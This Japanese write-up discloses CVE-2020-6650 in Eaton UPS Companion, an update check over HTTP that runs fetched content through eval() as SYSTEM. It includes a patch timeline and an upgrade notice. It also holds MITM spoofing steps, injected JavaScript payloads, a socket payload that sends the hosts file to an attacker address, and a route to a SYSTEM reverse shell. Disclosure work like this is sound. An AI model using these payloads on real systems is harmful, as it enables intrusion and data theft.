
このリポジトリは、私がEatonのUPS Companion内で発見した脆弱性CVE-2020-6650の詳細を説明しています。すべてのユーザーは直ちにv1.06にアップグレードする必要があります。そうしないと、システムへのリモート管理者アクセスを許可するリスクがあります。
Eaton UPS Companion ソフトウェアは、安全でない HTTP 接続を介して毎週アップデートを確認し、アップデート URL にある内容を eval() で実行します。これにより、攻撃者はバックエンド ソフトウェアに既に存在するファイル実行、ネットワーク ソケット、ファイルシステム I/O などの低レベル OS 操作を利用する JavaScript 関数を作成できます。これらの操作はすべて、UPS(無停電電源装置)がシステム管理に必要とする権限により、NT AUTHORITY\SYSTEM 権限で行われます。しばらく待つと、自動的にコマンドインジェクションが実行され、何の努力もなく SYSTEM シェルが取得されます。
これはバージョン 1.06 で修正され、CVE ID は CVE-2020-6650 が割り当てられています。
| バグ発見 | 2019/10/25 - 21:43 |
| エクスプロイト実現 | 2019/12/28 - 06:28 |
| Eatonに報告 | 2019/12/28 - 10:00 |
| 確認 | 2019/12/30 - 22:05 |
| 簡易PoC送信 | 2020/01/04 - 03:32 |
| パッチ適用中 | 2020/01/21 - 12:54 |
| パッチ適用済み | 2020/03/21 - 12:21 |
このエクスプロイトの開示を容易にしてくれたEatonに感謝します。
Eaton UPS Companion は http://pqsoftware.eaton.com/upgrade/upgrade_euc.info からアップデートを取得します。
問題1: dsniff の arpspoof と dnsspoof、その後 python -m http.server 80 を使用して簡単に偽装できる。
問題2: HTTPS の欠如により、同じ効果を得るための別の攻撃ベクトルが生まれる。
2019/10/25 - 22:08 時点でのリンクの内容は以下の通りです。
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
"EUC":
{
"WINDOWS":
{
"version": "1.04.017",
"packageURL": "install/win32/euc/euc_win_1_04_017.exe",
"info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
}
}
}
ファイルの SHA1 チェックサムがどのように計算されるのか、あるいは何を使って計算されるのかは不明ですが、それを解明できればもっと簡単になります。
Eaton UPS Companion はローカル HTTP サーバーを http://localhost:4679 で作成します。
"Version: Eaton UPS Companion v1.05" をクリックすると、http://localhost:4679/trace.html にある「隠し」デバッグログが開きます。
また、cmd.exe で ".\mc2.exe -start -debug" を実行しても開けます。
空の HTML ページを提供すると、ログに記録される顕著なエラーが発生します。
2019/10/25-21:32:29.051 | UpdateManager | !!! ERROR: Update data could not be parsed:
{
"message": "syntax error",
"fileName": "scripts/libs/json.js",
"lineNumber": 122,
"stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
"name": "SyntaxError"
}
ここで eval() が使用されており、それが私たちにとって有利に働きます。以下は UI 操作の例で、以下の内容が update_euc.info に入ります。
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})
これは匿名関数のおかげで適切な関数に変換できます。
(function() {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()
ShutdownManager にもアクセスできる可能性があると思いますが、それは良くありません。
http://localhost:4679/server/data_srv.js?action=init にアクセスすると、システムの動作に関する詳細がわかります。
通常の JS 関数である alert() は存在せず、document、console、object などのオブジェクトも存在しません。
非常に古い ECMAScript のエディションでしょうか? let キーワードもなく、var のみです。
これは役立つかもしれません。
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});
「マネージャー」オブジェクトのすべてのプロパティ(例:UpdateManager)は以下で確認できます。
(function() {
for (var property in UpdateManager) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
}
})()
これを UpdateManager で実行すると、次の非常に興味深い関数が見つかりました。
selfUpdate IS function () {\n var packagePath = UpdateManager.retrievePackage();\n if (packagePath) {\n ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n }\n}
retrievePackage IS function () {\n var updateLocation = UpdateManager.updateLocation;\n if (!UpdateManager.updateData) {\n UpdateManager.checkForUpgrade();\n }\n if (!UpdateManager.updateData.packageURL) {\n error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n return false;\n }\n var packageURL = UpdateManager.updateData.packageURL;\n var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n File.createPath(UpdateManager.outputPath);\n if (File.status(packagePath)) {\n debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n return packagePath;\n }\n debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n var client = new HTTPClient(updateLocation);\n var response = client.get(packageURL);\n if (response && response.status == 200) {\n debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n try {\n File.put(packagePath, response.data);\n debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n return packagePath;\n } catch (e) {\n error(\"Failed to save update package at '?'\", packagePath);\n }\n } else {\n debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n }\n return false;\n}
これにより、問題を引き起こせる可能性が明らかになります。
(function() {
if (System.getAdminRights()) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
}
})()
他にも便利な関数呼び出しがあり、例えば File.get("C:\\Windows\\System32\\drivers\\etc\\hosts") は hosts ファイルの内容を文字列として出力しますが、内部でのみ使用可能です。HTTPClient オブジェクトのプロパティを調べた後、ソケットを作成できる別のオブジェクトクラスが見つかりました。
例えば、hosts ファイルを受信するには:
(function() {
var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
var s = new Socket("tcp");
s.connect("192.168.1.???", 44444);
s.send(hosts);
s.close;
}
})()
最終的に、System.open(<file>, <args>) がどのように動作するかを発見しました。これはファイルを実行します。ここからは、リバースシェルをアップロードし、(SYSTEM 権限があるため)アンチウイルスソリューションを無視して、リバースシェルを取得するだけです。